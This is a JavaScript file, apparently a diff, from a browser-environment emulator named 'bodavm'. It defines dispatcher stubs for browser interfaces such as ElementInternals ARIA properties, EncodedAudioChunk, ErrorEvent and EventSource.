bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAutoComplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaBusy", {configurable:true, enumerable:true, get:function ariaBusy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBusy_get", arguments)}, set:function ariaBusy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBusy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaBrailleLabel", {configurable:true, enumerable:true, get:function ariaBrailleLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleLabel_get", arguments)}, set:function ariaBrailleLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleLabel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaBrailleRoleDescription", {configurable:true, enumerable:true, get:function ariaBrailleRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleRoleDescription_get", arguments)}, set:function ariaBrailleRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleRoleDescription_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaChecked", {configurable:true, enumerable:true, get:function ariaChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaChecked_get", arguments)}, set:function ariaChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaChecked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaColCount", {configurable:true, enumerable:true, get:function ariaColCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColCount_get", arguments)}, set:function ariaColCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColCount_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaColIndex", {configurable:true, enumerable:true, get:function ariaColIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColIndex_get", arguments)}, set:function ariaColIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaColSpan", {configurable:true, enumerable:true, get:function ariaColSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColSpan_get", arguments)}, set:function ariaColSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColSpan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaCurrent", {configurable:true, enumerable:true, get:function ariaCurrent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaCurrent_get", arguments)}, set:function ariaCurrent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaCurrent_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaDescription", {configurable:true, enumerable:true, get:function ariaDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDescription_get", arguments)}, set:function ariaDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDescription_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaDisabled", {configurable:true, enumerable:true, get:function ariaDisabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDisabled_get", arguments)}, set:function ariaDisabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDisabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaExpanded", {configurable:true, enumerable:true, get:function ariaExpanded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaExpanded_get", arguments)}, set:function ariaExpanded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaExpanded_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaHasPopup", {configurable:true, enumerable:true, get:function ariaHasPopup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHasPopup_get", arguments)}, set:function ariaHasPopup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHasPopup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaHidden", {configurable:true, enumerable:true, get:function ariaHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHidden_get", arguments)}, set:function ariaHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHidden_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaInvalid", {configurable:true, enumerable:true, get:function ariaInvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaInvalid_get", arguments)}, set:function ariaInvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaInvalid_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaKeyShortcuts", {configurable:true, enumerable:true, get:function ariaKeyShortcuts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaKeyShortcuts_get", arguments)}, set:function ariaKeyShortcuts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaKeyShortcuts_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaLabel", {configurable:true, enumerable:true, get:function ariaLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLabel_get", arguments)}, set:function ariaLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLabel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaLevel", {configurable:true, enumerable:true, get:function ariaLevel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLevel_get", arguments)}, set:function ariaLevel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLevel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaLive", {configurable:true, enumerable:true, get:function ariaLive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLive_get", arguments)}, set:function ariaLive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLive_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaModal", {configurable:true, enumerable:true, get:function ariaModal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaModal_get", arguments)}, set:function ariaModal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaModal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaMultiLine", {configurable:true, enumerable:true, get:function ariaMultiLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiLine_get", arguments)}, set:function ariaMultiLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiLine_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaMultiSelectable", {configurable:true, enumerable:true, get:function ariaMultiSelectable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiSelectable_get", arguments)}, set:function ariaMultiSelectable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiSelectable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaOrientation", {configurable:true, enumerable:true, get:function ariaOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaOrientation_get", arguments)}, set:function ariaOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaOrientation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaPlaceholder", {configurable:true, enumerable:true, get:function ariaPlaceholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPlaceholder_get", arguments)}, set:function ariaPlaceholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPlaceholder_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaPosInSet", {configurable:true, enumerable:true, get:function ariaPosInSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPosInSet_get", arguments)}, set:function ariaPosInSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPosInSet_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaPressed", {configurable:true, enumerable:true, get:function ariaPressed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPressed_get", arguments)}, set:function ariaPressed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPressed_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaReadOnly", {configurable:true, enumerable:true, get:function ariaReadOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaReadOnly_get", arguments)}, set:function ariaReadOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaReadOnly_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRelevant", {configurable:true, enumerable:true, get:function ariaRelevant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRelevant_get", arguments)}, set:function ariaRelevant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRelevant_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRequired", {configurable:true, enumerable:true, get:function ariaRequired (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRequired_get", arguments)}, set:function ariaRequired (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRequired_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRoleDescription", {configurable:true, enumerable:true, get:function ariaRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRoleDescription_get", arguments)}, set:function ariaRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRoleDescription_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRowCount", {configurable:true, enumerable:true, get:function ariaRowCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowCount_get", arguments)}, set:function ariaRowCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowCount_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRowIndex", {configurable:true, enumerable:true, get:function ariaRowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowIndex_get", arguments)}, set:function ariaRowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRowSpan", {configurable:true, enumerable:true, get:function ariaRowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowSpan_get", arguments)}, set:function ariaRowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowSpan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaSelected", {configurable:true, enumerable:true, get:function ariaSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSelected_get", arguments)}, set:function ariaSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSelected_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaSetSize", {configurable:true, enumerable:true, get:function ariaSetSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSetSize_get", arguments)}, set:function ariaSetSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSetSize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaSort", {configurable:true, enumerable:true, get:function ariaSort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSort_get", arguments)}, set:function ariaSort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueMax", {configurable:true, enumerable:true, get:function ariaValueMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMax_get", arguments)}, set:function ariaValueMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMax_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueMin", {configurable:true, enumerable:true, get:function ariaValueMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMin_get", arguments)}, set:function ariaValueMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueNow", {configurable:true, enumerable:true, get:function ariaValueNow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueNow_get", arguments)}, set:function ariaValueNow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueNow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueText", {configurable:true, enumerable:true, get:function ariaValueText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueText_get", arguments)}, set:function ariaValueText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "setFormValue", {configurable:true, enumerable:true, writable:true, value:function setFormValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "setFormValue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "setValidity", {configurable:true, enumerable:true, writable:true, value:function setValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "setValidity", arguments)}},'prototype'); - -// EncodedAudioChunk对象 -bodavm.memory.globalobj['EncodedAudioChunk'] = function EncodedAudioChunk(){if (!(this instanceof EncodedAudioChunk)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EncodedAudioChunk': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EncodedAudioChunk'], "EncodedAudioChunk"); -bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "byteLength", {configurable:true, enumerable:true, get:function byteLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "byteLength_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "copyTo", {configurable:true, enumerable:true, writable:true, value:function copyTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "copyTo", arguments)}},'prototype'); - -// EncodedVideoChunk对象 -bodavm.memory.globalobj['EncodedVideoChunk'] = function EncodedVideoChunk(){if (!(this instanceof EncodedVideoChunk)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EncodedVideoChunk': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EncodedVideoChunk'], "EncodedVideoChunk"); -bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "byteLength", {configurable:true, enumerable:true, get:function byteLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "byteLength_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "copyTo", {configurable:true, enumerable:true, writable:true, value:function copyTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "copyTo", arguments)}},'prototype'); - -// ErrorEvent对象 -bodavm.memory.globalobj['ErrorEvent'] = function ErrorEvent(){if (!(this instanceof ErrorEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ErrorEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ErrorEvent'], "ErrorEvent"); -bodavm.memory.globalobj['ErrorEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['ErrorEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('ErrorEvent', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "message_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ErrorEvent', "filename", {configurable:true, enumerable:true, get:function filename (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "filename_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ErrorEvent', "lineno", {configurable:true, enumerable:true, get:function lineno (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "lineno_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ErrorEvent', "colno", {configurable:true, enumerable:true, get:function colno (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "colno_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ErrorEvent', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "error_get", arguments)}, set:undefined},'prototype'); - -// EventCounts对象 -bodavm.memory.globalobj['EventCounts'] = function EventCounts(){if (!(this instanceof EventCounts)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EventCounts'], "EventCounts"); -bodavm.toolsFunc.defineProperty('EventCounts', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EventCounts', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventCounts', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventCounts', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventCounts', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventCounts', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventCounts', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "values", arguments)}},'prototype'); - -// EventSource对象 -bodavm.memory.globalobj['EventSource'] = function EventSource(){if (!(this instanceof EventSource)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EventSource': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EventSource'], "EventSource"); -bodavm.memory.globalobj['EventSource'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['EventSource'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('EventSource', "CONNECTING", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('EventSource', "OPEN", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('EventSource', "CLOSED", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('EventSource', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "withCredentials", {configurable:true, enumerable:true, get:function withCredentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "withCredentials_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "onopen", {configurable:true, enumerable:true, get:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onopen_get", arguments)}, set:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onopen_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "CONNECTING", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "OPEN", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "CLOSED", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "close", arguments)}},'prototype'); - -// EyeDropper对象 -bodavm.memory.globalobj['EyeDropper'] = function EyeDropper(){this._boarg= new bodaobj.window.EyeDropper();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EyeDropper'], "EyeDropper"); -bodavm.toolsFunc.defineProperty('EyeDropper', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EyeDropper'].prototype, "EyeDropper", "open", arguments)}},'prototype'); - -// WritableStream对象 -bodavm.memory.globalobj['WritableStream'] = function WritableStream(){this._boarg= new bodaobj.window.WritableStream();this._boisinit=bodavm.config.isinit} 